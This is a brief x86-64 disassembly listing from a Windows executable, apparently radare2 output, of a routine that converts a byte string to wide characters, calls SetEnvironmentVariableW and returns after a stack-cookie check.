xor r14d, r14d
mov rbp, rdx
mov word [rsp + 0x30], r14w
mov rsi, rcx
lea edi, [r14 + 0x28]
test al, al
je 0x14000a3f1
nop word [rax + rax]
mov r8d, 2
mov byte [rsp + 0x20], al
lea rdx, [rsp + 0x20]
mov byte [rsp + 0x21], r14b
lea rcx, [rsp + 0x24]
call fcn.14000fbc0
cmp rax, 1
jne 0x14000a427
mov rcx, rdi
mov rax, rbx
cmp word [rbx], r14w
je 0x14000a3cd
add rax, 2
dec rcx
cmp word [rax], r14w
jne 0x14000a3c0
cmp rcx, 1
jb 0x14000a427
movzx ecx, word [rsp + 0x24]
inc rsi
mov word [rax], cx
add rbx, 2
mov word [rax + 2], r14w
dec rdi
movzx eax, byte [rsi]
test al, al
jne 0x14000a390
mov rdx, rbp
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.14000b7b0
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
call fcn.14000f884
int3